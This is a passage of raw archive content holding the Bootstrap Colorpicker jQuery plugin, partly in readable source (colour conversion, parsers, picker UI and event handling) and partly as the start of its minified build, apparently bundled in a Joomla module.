        S = s * b;
      if (L > 0 && L <= 1) {
        S /= L;
      } else {
        S /= 2 - L;
      }
      L /= 2;
      if (S > 1) {
        S = 1;
      }
      return {
        h: isNaN(H) ? 0 : H,
        s: isNaN(S) ? 0 : S,
        l: isNaN(L) ? 0 : L,
        a: isNaN(a) ? 0 : a
      };
    },
    toAlias: function(r, g, b, a) {
      var rgb = this.toHex(r, g, b, a);
      for (var alias in this.colors) {
        if (this.colors[alias] === rgb) {
          return alias;
        }
      }
      return false;
    },
    RGBtoHSB: function(r, g, b, a) {
      r /= 255;
      g /= 255;
      b /= 255;

      var H, S, V, C;
      V = Math.max(r, g, b);
      C = V - Math.min(r, g, b);
      H = (C === 0 ? null :
        V === r ? (g - b) / C :
        V === g ? (b - r) / C + 2 :
        (r - g) / C + 4
      );
      H = ((H + 360) % 6) * 60 / 360;
      S = C === 0 ? 0 : C / V;
      return {
        h: this._sanitizeNumber(H),
        s: S,
        b: V,
        a: this._sanitizeNumber(a)
      };
    },
    HueToRGB: function(p, q, h) {
      if (h < 0) {
        h += 1;
      } else if (h > 1) {
        h -= 1;
      }
      if ((h * 6) < 1) {
        return p + (q - p) * h * 6;
      } else if ((h * 2) < 1) {
        return q;
      } else if ((h * 3) < 2) {
        return p + (q - p) * ((2 / 3) - h) * 6;
      } else {
        return p;
      }
    },
    HSLtoRGB: function(h, s, l, a) {
      if (s < 0) {
        s = 0;
      }
      var q;
      if (l <= 0.5) {
        q = l * (1 + s);
      } else {
        q = l + s - (l * s);
      }

      var p = 2 * l - q;

      var tr = h + (1 / 3);
      var tg = h;
      var tb = h - (1 / 3);

      var r = Math.round(this.HueToRGB(p, q, tr) * 255);
      var g = Math.round(this.HueToRGB(p, q, tg) * 255);
      var b = Math.round(this.HueToRGB(p, q, tb) * 255);
      return [r, g, b, this._sanitizeNumber(a)];
    },
    toString: function(format) {
      format = format || 'rgba';
      var c = false;
      switch (format) {
        case 'rgb':
          {
            c = this.toRGB();
            if (this.rgbaIsTransparent(c)) {
              return 'transparent';
            }
            return 'rgb(' + c.r + ',' + c.g + ',' + c.b + ')';
          }
          break;
        case 'rgba':
          {
            c = this.toRGB();
            return 'rgba(' + c.r + ',' + c.g + ',' + c.b + ',' + c.a + ')';
          }
          break;
        case 'hsl':
          {
            c = this.toHSL();
            return 'hsl(' + Math.round(c.h * 360) + ',' + Math.round(c.s * 100) + '%,' + Math.round(c.l * 100) + '%)';
          }
          break;
        case 'hsla':
          {
            c = this.toHSL();
            return 'hsla(' + Math.round(c.h * 360) + ',' + Math.round(c.s * 100) + '%,' + Math.round(c.l * 100) + '%,' + c.a + ')';
          }
          break;
        case 'hex':
          {
            return this.toHex();
          }
          break;
        case 'alias':
          return this.toAlias() || this.toHex();
        default:
          {
            return c;
          }
          break;
      }
    },
    // a set of RE's that can match strings and generate color tuples.
    // from John Resig color plugin
    // https://github.com/jquery/jquery-color/
    stringParsers: [{
      re: /rgb\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*?\)/,
      format: 'rgb',
      parse: function(execResult) {
        return [
          execResult[1],
          execResult[2],
          execResult[3],
          1
        ];
      }
    }, {
      re: /rgb\(\s*(\d*(?:\.\d+)?)\%\s*,\s*(\d*(?:\.\d+)?)\%\s*,\s*(\d*(?:\.\d+)?)\%\s*?\)/,
      format: 'rgb',
      parse: function(execResult) {
        return [
          2.55 * execResult[1],
          2.55 * execResult[2],
          2.55 * execResult[3],
          1
        ];
      }
    }, {
      re: /rgba\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d*(?:\.\d+)?)\s*)?\)/,
      format: 'rgba',
      parse: function(execResult) {
        return [
          execResult[1],
          execResult[2],
          execResult[3],
          execResult[4]
        ];
      }
    }, {
      re: /rgba\(\s*(\d*(?:\.\d+)?)\%\s*,\s*(\d*(?:\.\d+)?)\%\s*,\s*(\d*(?:\.\d+)?)\%\s*(?:,\s*(\d*(?:\.\d+)?)\s*)?\)/,
      format: 'rgba',
      parse: function(execResult) {
        return [
          2.55 * execResult[1],
          2.55 * execResult[2],
          2.55 * execResult[3],
          execResult[4]
        ];
      }
    }, {
      re: /hsl\(\s*(\d*(?:\.\d+)?)\s*,\s*(\d*(?:\.\d+)?)\%\s*,\s*(\d*(?:\.\d+)?)\%\s*?\)/,
      format: 'hsl',
      parse: function(execResult) {
        return [
          execResult[1] / 360,
          execResult[2] / 100,
          execResult[3] / 100,
          execResult[4]
        ];
      }
    }, {
      re: /hsla\(\s*(\d*(?:\.\d+)?)\s*,\s*(\d*(?:\.\d+)?)\%\s*,\s*(\d*(?:\.\d+)?)\%\s*(?:,\s*(\d*(?:\.\d+)?)\s*)?\)/,
      format: 'hsla',
      parse: function(execResult) {
        return [
          execResult[1] / 360,
          execResult[2] / 100,
          execResult[3] / 100,
          execResult[4]
        ];
      }
    }, {
      re: /#?([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/,
      format: 'hex',
      parse: function(execResult) {
        return [
          parseInt(execResult[1], 16),
          parseInt(execResult[2], 16),
          parseInt(execResult[3], 16),
          1
        ];
      }
    }, {
      re: /#?([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/,
      format: 'hex',
      parse: function(execResult) {
        return [
          parseInt(execResult[1] + execResult[1], 16),
          parseInt(execResult[2] + execResult[2], 16),
          parseInt(execResult[3] + execResult[3], 16),
          1
        ];
      }
    }],
    colorNameToHex: function(name) {
      if (typeof this.colors[name.toLowerCase()] !== 'undefined') {
        return this.colors[name.toLowerCase()];
      }
      return false;
    }
  };

  /*
   * Default plugin options
   */
  var defaults = {
    horizontal: false, // horizontal mode layout ?
    inline: false, //forces to show the colorpicker as an inline element
    color: false, //forces a color
    format: false, //forces a format
    input: 'input', // children input selector
    container: false, // container selector
    component: '.add-on, .input-group-addon', // children component selector
    sliders: {
      saturation: {
        maxLeft: 100,
        maxTop: 100,
        callLeft: 'setSaturation',
        callTop: 'setBrightness'
      },
      hue: {
        maxLeft: 0,
        maxTop: 100,
        callLeft: false,
        callTop: 'setHue'
      },
      alpha: {
        maxLeft: 0,
        maxTop: 100,
        callLeft: false,
        callTop: 'setAlpha'
      }
    },
    slidersHorz: {
      saturation: {
        maxLeft: 100,
        maxTop: 100,
        callLeft: 'setSaturation',
        callTop: 'setBrightness'
      },
      hue: {
        maxLeft: 100,
        maxTop: 0,
        callLeft: 'setHue',
        callTop: false
      },
      alpha: {
        maxLeft: 100,
        maxTop: 0,
        callLeft: 'setAlpha',
        callTop: false
      }
    },
    template: '<div class="colorpicker dropdown-menu">' +
      '<div class="colorpicker-saturation"><i><b></b></i></div>' +
      '<div class="colorpicker-hue"><i></i></div>' +
      '<div class="colorpicker-alpha"><i></i></div>' +
      '<div class="colorpicker-color"><div /></div>' +
      '<div class="colorpicker-selectors"></div>' +
      '</div>',
    align: 'right',
    customClass: null,
    colorSelectors: null
  };

  /**
   * Colorpicker component class
   *
   * @param {Object|String} element
   * @param {Object} options
   * @constructor
   */
  var Colorpicker = function(element, options) {
    this.element = $(element).addClass('colorpicker-element');
    this.options = $.extend(true, {}, defaults, this.element.data(), options);
    this.component = this.options.component;
    this.component = (this.component !== false) ? this.element.find(this.component) : false;
    if (this.component && (this.component.length === 0)) {
      this.component = false;
    }
    this.container = (this.options.container === true) ? this.element : this.options.container;
    this.container = (this.container !== false) ? $(this.container) : false;

    // Is the element an input? Should we search inside for any input?
    this.input = this.element.is('input') ? this.element : (this.options.input ?
      this.element.find(this.options.input) : false);
    if (this.input && (this.input.length === 0)) {
      this.input = false;
    }
    // Set HSB color
    this.color = new Color(this.options.color !== false ? this.options.color : this.getValue(), this.options.colorSelectors);
    this.format = this.options.format !== false ? this.options.format : this.color.origFormat;

    if (this.options.color !== false) {
      this.updateInput(this.color);
      this.updateData(this.color);
    }

    // Setup picker
    this.picker = $(this.options.template);
    if (this.options.customClass) {
      this.picker.addClass(this.options.customClass);
    }
    if (this.options.inline) {
      this.picker.addClass('colorpicker-inline colorpicker-visible');
    } else {
      this.picker.addClass('colorpicker-hidden');
    }
    if (this.options.horizontal) {
      this.picker.addClass('colorpicker-horizontal');
    }
    if (this.format === 'rgba' || this.format === 'hsla' || this.options.format === false) {
      this.picker.addClass('colorpicker-with-alpha');
    }
    if (this.options.align === 'right') {
      this.picker.addClass('colorpicker-right');
    }
    if (this.options.inline === true) {
      this.picker.addClass('colorpicker-no-arrow');
    }
    if (this.options.colorSelectors) {
      var colorpicker = this;
      $.each(this.options.colorSelectors, function(name, color) {
        var $btn = $('<i />').css('background-color', color).data('class', name);
        $btn.click(function() {
          colorpicker.setValue($(this).css('background-color'));
        });
        colorpicker.picker.find('.colorpicker-selectors').append($btn);
      });
      this.picker.find('.colorpicker-selectors').show();
    }
    this.picker.on('mousedown.colorpicker touchstart.colorpicker', $.proxy(this.mousedown, this));
    this.picker.appendTo(this.container ? this.container : $('body'));

    // Bind events
    if (this.input !== false) {
      this.input.on({
        'keyup.colorpicker': $.proxy(this.keyup, this)
      });
      this.input.on({
        'change.colorpicker': $.proxy(this.change, this)
      });
      if (this.component === false) {
        this.element.on({
          'focus.colorpicker': $.proxy(this.show, this)
        });
      }
      if (this.options.inline === false) {
        this.element.on({
          'focusout.colorpicker': $.proxy(this.hide, this)
        });
      }
    }

    if (this.component !== false) {
      this.component.on({
        'click.colorpicker': $.proxy(this.show, this)
      });
    }

    if ((this.input === false) && (this.component === false)) {
      this.element.on({
        'click.colorpicker': $.proxy(this.show, this)
      });
    }

    // for HTML5 input[type='color']
    if ((this.input !== false) && (this.component !== false) && (this.input.attr('type') === 'color')) {

      this.input.on({
        'click.colorpicker': $.proxy(this.show, this),
        'focus.colorpicker': $.proxy(this.show, this)
      });
    }
    this.update();

    $($.proxy(function() {
      this.element.trigger('create');
    }, this));
  };

  Colorpicker.Color = Color;

  Colorpicker.prototype = {
    constructor: Colorpicker,
    destroy: function() {
      this.picker.remove();
      this.element.removeData('colorpicker', 'color').off('.colorpicker');
      if (this.input !== false) {
        this.input.off('.colorpicker');
      }
      if (this.component !== false) {
        this.component.off('.colorpicker');
      }
      this.element.removeClass('colorpicker-element');
      this.element.trigger({
        type: 'destroy'
      });
    },
    reposition: function() {
      if (this.options.inline !== false || this.options.container) {
        return false;
      }
      var type = this.container && this.container[0] !== document.body ? 'position' : 'offset';
      var element = this.component || this.element;
      var offset = element[type]();
      if (this.options.align === 'right') {
        offset.left -= this.picker.outerWidth() - element.outerWidth();
      }
      this.picker.css({
        top: offset.top + element.outerHeight(),
        left: offset.left
      });
    },
    show: function(e) {
      if (this.isDisabled()) {
        return false;
      }
      this.picker.addClass('colorpicker-visible').removeClass('colorpicker-hidden');
      this.reposition();
      $(window).on('resize.colorpicker', $.proxy(this.reposition, this));
      if (e && (!this.hasInput() || this.input.attr('type') === 'color')) {
        if (e.stopPropagation && e.preventDefault) {
          e.stopPropagation();
          e.preventDefault();
        }
      }
      if ((this.component || !this.input) && (this.options.inline === false)) {
        $(window.document).on({
          'mousedown.colorpicker': $.proxy(this.hide, this)
        });
      }
      this.element.trigger({
        type: 'showPicker',
        color: this.color
      });
    },
    hide: function() {
      this.picker.addClass('colorpicker-hidden').removeClass('colorpicker-visible');
      $(window).off('resize.colorpicker', this.reposition);
      $(document).off({
        'mousedown.colorpicker': this.hide
      });
      this.update();
      this.element.trigger({
        type: 'hidePicker',
        color: this.color
      });
    },
    updateData: function(val) {
      val = val || this.color.toString(this.format);
      this.element.data('color', val);
      return val;
    },
    updateInput: function(val) {
      val = val || this.color.toString(this.format);
      if (this.input !== false) {
        if (this.options.colorSelectors) {
          var color = new Color(val, this.options.colorSelectors);
          var alias = color.toAlias();
          if (typeof this.options.colorSelectors[alias] !== 'undefined') {
            val = alias;
          }
        }
        this.input.prop('value', val);
      }
      return val;
    },
    updatePicker: function(val) {
      if (val !== undefined) {
        this.color = new Color(val, this.options.colorSelectors);
      }
      var sl = (this.options.horizontal === false) ? this.options.sliders : this.options.slidersHorz;
      var icns = this.picker.find('i');
      if (icns.length === 0) {
        return;
      }
      if (this.options.horizontal === false) {
        sl = this.options.sliders;
        icns.eq(1).css('top', sl.hue.maxTop * (1 - this.color.value.h)).end()
          .eq(2).css('top', sl.alpha.maxTop * (1 - this.color.value.a));
      } else {
        sl = this.options.slidersHorz;
        icns.eq(1).css('left', sl.hue.maxLeft * (1 - this.color.value.h)).end()
          .eq(2).css('left', sl.alpha.maxLeft * (1 - this.color.value.a));
      }
      icns.eq(0).css({
        'top': sl.saturation.maxTop - this.color.value.b * sl.saturation.maxTop,
        'left': this.color.value.s * sl.saturation.maxLeft
      });
      this.picker.find('.colorpicker-saturation').css('backgroundColor', this.color.toHex(this.color.value.h, 1, 1, 1));
      this.picker.find('.colorpicker-alpha').css('backgroundColor', this.color.toHex());
      this.picker.find('.colorpicker-color, .colorpicker-color div').css('backgroundColor', this.color.toString(this.format));
      return val;
    },
    updateComponent: function(val) {
      val = val || this.color.toString(this.format);
      if (this.component !== false) {
        var icn = this.component.find('i').eq(0);
        if (icn.length > 0) {
          icn.css({
            'backgroundColor': val
          });
        } else {
          this.component.css({
            'backgroundColor': val
          });
        }
      }
      return val;
    },
    update: function(force) {
      var val;
      if ((this.getValue(false) !== false) || (force === true)) {
        // Update input/data only if the current value is not empty
        val = this.updateComponent();
        this.updateInput(val);
        this.updateData(val);
        this.updatePicker(); // only update picker if value is not empty
      }
      return val;

    },
    setValue: function(val) { // set color manually
      this.color = new Color(val, this.options.colorSelectors);
      this.update(true);
      this.element.trigger({
        type: 'changeColor',
        color: this.color,
        value: val
      });
    },
    getValue: function(defaultValue) {
      defaultValue = (defaultValue === undefined) ? '#000000' : defaultValue;
      var val;
      if (this.hasInput()) {
        val = this.input.val();
      } else {
        val = this.element.data('color');
      }
      if ((val === undefined) || (val === '') || (val === null)) {
        // if not defined or empty, return default
        val = defaultValue;
      }
      return val;
    },
    hasInput: function() {
      return (this.input !== false);
    },
    isDisabled: function() {
      if (this.hasInput()) {
        return (this.input.prop('disabled') === true);
      }
      return false;
    },
    disable: function() {
      if (this.hasInput()) {
        this.input.prop('disabled', true);
        this.element.trigger({
          type: 'disable',
          color: this.color,
          value: this.getValue()
        });
        return true;
      }
      return false;
    },
    enable: function() {
      if (this.hasInput()) {
        this.input.prop('disabled', false);
        this.element.trigger({
          type: 'enable',
          color: this.color,
          value: this.getValue()
        });
        return true;
      }
      return false;
    },
    currentSlider: null,
    mousePointer: {
      left: 0,
      top: 0
    },
    mousedown: function(e) {
      if (!e.pageX && !e.pageY && e.originalEvent && e.originalEvent.touches) {
        e.pageX = e.originalEvent.touches[0].pageX;
        e.pageY = e.originalEvent.touches[0].pageY;
      }
      e.stopPropagation();
      e.preventDefault();

      var target = $(e.target);

      //detect the slider and set the limits and callbacks
      var zone = target.closest('div');
      var sl = this.options.horizontal ? this.options.slidersHorz : this.options.sliders;
      if (!zone.is('.colorpicker')) {
        if (zone.is('.colorpicker-saturation')) {
          this.currentSlider = $.extend({}, sl.saturation);
        } else if (zone.is('.colorpicker-hue')) {
          this.currentSlider = $.extend({}, sl.hue);
        } else if (zone.is('.colorpicker-alpha')) {
          this.currentSlider = $.extend({}, sl.alpha);
        } else {
          return false;
        }
        var offset = zone.offset();
        //reference to guide's style
        this.currentSlider.guide = zone.find('i')[0].style;
        this.currentSlider.left = e.pageX - offset.left;
        this.currentSlider.top = e.pageY - offset.top;
        this.mousePointer = {
          left: e.pageX,
          top: e.pageY
        };
        //trigger mousemove to move the guide to the current position
        $(document).on({
          'mousemove.colorpicker': $.proxy(this.mousemove, this),
          'touchmove.colorpicker': $.proxy(this.mousemove, this),
          'mouseup.colorpicker': $.proxy(this.mouseup, this),
          'touchend.colorpicker': $.proxy(this.mouseup, this)
        }).trigger('mousemove');
      }
      return false;
    },
    mousemove: function(e) {
      if (!e.pageX && !e.pageY && e.originalEvent && e.originalEvent.touches) {
        e.pageX = e.originalEvent.touches[0].pageX;
        e.pageY = e.originalEvent.touches[0].pageY;
      }
      e.stopPropagation();
      e.preventDefault();
      var left = Math.max(
        0,
        Math.min(
          this.currentSlider.maxLeft,
          this.currentSlider.left + ((e.pageX || this.mousePointer.left) - this.mousePointer.left)
        )
      );
      var top = Math.max(
        0,
        Math.min(
          this.currentSlider.maxTop,
          this.currentSlider.top + ((e.pageY || this.mousePointer.top) - this.mousePointer.top)
        )
      );
      this.currentSlider.guide.left = left + 'px';
      this.currentSlider.guide.top = top + 'px';
      if (this.currentSlider.callLeft) {
        this.color[this.currentSlider.callLeft].call(this.color, left / this.currentSlider.maxLeft);
      }
      if (this.currentSlider.callTop) {
        this.color[this.currentSlider.callTop].call(this.color, top / this.currentSlider.maxTop);
      }
      // Change format dynamically
      // Only occurs if user choose the dynamic format by
      // setting option format to false
      if (this.currentSlider.callTop === 'setAlpha' && this.options.format === false) {

        // Converting from hex / rgb to rgba
        if (this.color.value.a !== 1) {
          this.format = 'rgba';
          this.color.origFormat = 'rgba';
        }

        // Converting from rgba to hex
        else {
          this.format = 'hex';
          this.color.origFormat = 'hex';
        }
      }
      this.update(true);

      this.element.trigger({
        type: 'changeColor',
        color: this.color
      });
      return false;
    },
    mouseup: function(e) {
      e.stopPropagation();
      e.preventDefault();
      $(document).off({
        'mousemove.colorpicker': this.mousemove,
        'touchmove.colorpicker': this.mousemove,
        'mouseup.colorpicker': this.mouseup,
        'touchend.colorpicker': this.mouseup
      });
      return false;
    },
    change: function(e) {
      this.keyup(e);
    },
    keyup: function(e) {
      if ((e.keyCode === 38)) {
        if (this.color.value.a < 1) {
          this.color.value.a = Math.round((this.color.value.a + 0.01) * 100) / 100;
        }
        this.update(true);
      } else if ((e.keyCode === 40)) {
        if (this.color.value.a > 0) {
          this.color.value.a = Math.round((this.color.value.a - 0.01) * 100) / 100;
        }
        this.update(true);
      } else {
        this.color = new Color(this.input.val(), this.options.colorSelectors);
        // Change format dynamically
        // Only occurs if user choose the dynamic format by
        // setting option format to false
        if (this.color.origFormat && this.options.format === false) {
          this.format = this.color.origFormat;
        }
        if (this.getValue(false) !== false) {
          this.updateData();
          this.updateComponent();
          this.updatePicker();
        }
      }
      this.element.trigger({
        type: 'changeColor',
        color: this.color,
        value: this.input.val()
      });
    }
  };

  $.colorpicker = Colorpicker;

  $.fn.colorpicker = function(option) {
    var apiArgs = Array.prototype.slice.call(arguments, 1),
      isSingleElement = (this.length === 1),
      returnValue = null;

    var $jq = this.each(function() {
      var $this = $(this),
        inst = $this.data('colorpicker'),
        options = ((typeof option === 'object') ? option : {});

      if (!inst) {
        inst = new Colorpicker(this, options);
        $this.data('colorpicker', inst);
      }

      if (typeof option === 'string') {
        if ($.isFunction(inst[option])) {
          returnValue = inst[option].apply(inst, apiArgs);
        } else { // its a property ?
          if (apiArgs.length) {
            // set property
            inst[option] = apiArgs[0];
          }
          returnValue = inst[option];
        }
      } else {
        returnValue = $this;
      }
    });
    return isSingleElement ? returnValue : $jq;
  };

  $.fn.colorpicker.constructor = Colorpicker;

}));
PK!P��II=mod_ajax_intro_articles/admin/js/bootstrap-colorpicker.min.jsnu&1i�/*!
 * Bootstrap Colorpicker v2.3.6
 * https://itsjavi.com/bootstrap-colorpicker/
 */
!function(a){"use strict";"object"==typeof exports?module.exports=a(window.jQuery):"function"==typeof define&&define.amd?define(["jquery"],a):window.jQuery&&!window.jQuery.fn.colorpicker&&a(window.jQuery)}(function(a){"use strict";var b=function(b,c){this.value={h:0,s:0,b:0,a:1},this.origFormat=null,c&&a.extend(this.colors,c),b&&(void 0!==b.toLowerCase?(b+="",this.setColor(b)):void 0!==b.h&&(this.value=b))};b.prototype={constructor:b,colors:{aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",darkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#adff2f",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrodyellow:"#fafad2",lightgrey:"#d3d3d3",lightgreen:"#90ee90",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370d8",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhite:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#d87093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a460",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32",transparent:"transparent"},_sanitizeNumber:function(a){return"number"==typeof a?a:isNaN(a)||null===a||""===a||void 0===a?1:""===a?0:void 0!==a.toLowerCase?(a.match(/^\./)&&(a="0"+a),Math.ceil(100*parseFloat(a))/100):1},isTransparent:function(a){return!!a&&(a=a.toLowerCase().trim(),"transparent"===a||a.match(/#?00000000/)||a.match(/(rgba|hsla)\(0,0,0,0?\.?0\)/))},rgbaIsTransparent:function(a){return 0===a.r&&0===a.g&&0===a.b&&0===a.a},setColor:function(a){a=a.toLowerCase().trim(),a&&(this.isTransparent(a)?this.value={h:0,s:0,b:0,a:0}:this.value=this.stringToHSB(a)||{h:0,s:0,b:0,a:1})},stringToHSB:function(b){b=b.toLowerCase();var c;"undefined"!=typeof this.colors[b]&&(b=this.colors[b],c="alias");var d=this,e=!1;return a.each(this.stringParsers,function(a,f){var g=f.re.exec(b),h=g&&f.parse.apply(d,[g]),i=c||f.format||"rgba";return!h||(e=i.match(/hsla?/)?d.RGBtoHSB.apply(d,d.HSLtoRGB.apply(d,h)):d.RGBtoHSB.apply(d,h),d.origFormat=i,!1)}),e},setHue:function(a){this.value.h=1-a},setSaturation:function(a){this.value.s=a},setBrightness:function(a){this.value.b=1-a},setAlpha:function(a){this.value.a=Math.round(parseInt(100*(1-a),10)/100*100)/100},toRGB:function(a,b,c,d){a||(a=this.value.h,b=this.value.s,c=this.value.b),a*=360;var e,f,g,h,i;return a=a%360/60,i=c*b,h=i*(1-Math.abs(a%2-1)),e=f=g=c-i,a=~~a,e+=[i,h,0,0,h,i][a],f+=[h,i,i,h,0,0][a],g+=[0,0,h,i,i,h][a],{r:Math.round(255*e),g:Math.round(255*f),b:Math.round(255*g),a:d||this.value.a}},toHex:function(a,b,c,d){var e=this.toRGB(a,b,c,d);return this.rgbaIsTransparent(e)?"transparent":"#"+(1<<24|parseInt(e.r)<<16|parseInt(e.g)<<8|parseInt(e.b)).toString(16).substr(1)},toHSL:function(a,b,c,d){a=a||this.value.h,b=b||this.value.s,c=c||this.value.b,d=d||this.value.a;var e=a,f=(2-b)*c,g=b*c;return g/=f>0&&f<=1?f:2-f,f/=2,g>1&&(g=1),{h:isNaN(e)?0:e,s:isNaN(g)?0:g,l:isNaN(f)?0:f,a:isNaN(d)?0:d}},toAlias:function(a,b,c,d){var e=this.toHex(a,b,c,d);for(var f in this.colors)if(this.colors[f]===e)return f;return!1},RGBtoHSB:function(a,b,c,d){a/=255,b/=255,c/=255;var e,f,g,h;return g=Math.max(a,b,c),h=g-Math.min(a,b,c),e=0===h?null:g===a?(b-c)/h:g===b?(c-a)/h+2:(a-b)/h+4,e=(e+360)%6*60/360,f=0===h?0:h/g,{h:this._sanitizeNumber(e),s:f,b:g,a:this._sanitizeNumber(d)}},HueToRGB:function(a,b,c){return c<0?c+=1:c>1&&(c-=1),6*c<1?a+(b-a)*c*6:2*c<1?b:3*c<2?a+(b-a)*(2/3-c)*6:a},HSLtoRGB:function(a,b,c,d){b<0&&(b=0);var e;e=c<=.5?c*(1+b):c+b-c*b;var f=2*c-e,g=a+1/3,h=a,i=a-1/3,j=Math.round(255*this.HueToRGB(f,e,g)),k=Math.round(255*this.HueToRGB(f,e,h)),l=Math.round(255*this.HueToRGB(f,e,i));return[j,k,l,this._sanitizeNumber(d)]},toString:function(a){a=a||"rgba";var b=!1;switch(a){case"rgb":return b=this.toRGB(),this.rgbaIsTransparent(b)?"transparent":"rgb("+b.r+","+b.g+","+b.b+")";case"rgba":return b=this.toRGB(),"rgba("+b.r+","+b.g+","+b.b+","+b.a+")";case"hsl":return b=this.toHSL(),"hsl("+Math.round(360*b.h)+","+Math.round(100*b.s)+"%,"+Math.round(100*b.l)+"%)";case"hsla":return b=this.toHSL(),"hsla("+Math.round(360*b.h)+","+Math.round(100*b.s)+"%,"+Math.round(100*b.l)+"%,"+b.a+")";case"hex":return this.toHex();case"alias":return this.toAlias()||this.toHex();default:return b}},stringParsers:[{re:/rgb\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*?\)/,format:"rgb",parse:function(a){return[a[1],a[2],a[3],1]}},{re:/rgb\(\s*(\d*(?:\.\d+)?)\%\s*,\s*(\d*(?:\.\d+)?)\%\s*,\s*(\d*(?:\.\d+)?)\%\s*?\)/,format:"rgb",parse:function(a){return[2.55*a[1],2.55*a[2],2.55*a[3],1]}},{re:/rgba\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d*(?:\.\d+)?)\s*)?\)/,format:"rgba",parse:function(a){return[a[1],a[2],a[3],a[4]]}},{re:/rgba\(\s*(\d*(?:\.\d+)?)\%\s*,\s*(\d*(?:\.\d+)?)\%\s*,\s*(\d*(?:\.\d+)?)\%\s*(?:,\s*(\d*(?:\.\d+)?)\s*)?\)/,format:"rgba",parse:function(a){return[2.55*a[1],2.55*a[2],2.55*a[3],a[4]]}},{re:/hsl\(\s*(\d*(?:\.\d+)?)\s*,\s*(\d*(?:\.\d+)?)\%\s*,\s*(\d*(?:\.\d+)?)\%\s*?\)/,format:"hsl",parse:function(a){return[a[1]/360,a[2]/100,a[3]/100,a[4]]}},{re:/hsla\(\s*(\d*(?:\.\d+)?)\s*,\s*(\d*(?:\.\d+)?)\%\s*,\s*(\d*(?:\.\d+)?)\%\s*(?:,\s*(\d*(?:\.\d+)?)\s*)?\)/,format:"hsla",parse:function(a){return[a[1]/360,a[2]/100,a[3]/100,a[4]]}},{re:/#?([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/,format:"hex",parse:function(a){return[parseInt(a[1],16),parseInt(a[2],16),parseInt(a[3],16),1]}},{re:/#?([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/,format:"hex",parse:function(a){return[parseInt(a[1]+a[1],16),parseInt(a[2]+a[2],16),parseInt(a[3]+a[3],16),1]}}],colorNameToHex:function(a){return"undefined"!=typeof this.colors[a.toLowerCase()]&&this.colors[a.toLowerCase()]}};var c={horizontal:!1,inline:!1,color:!1,format:!1,input:"input",container:!1,component:".add-on, 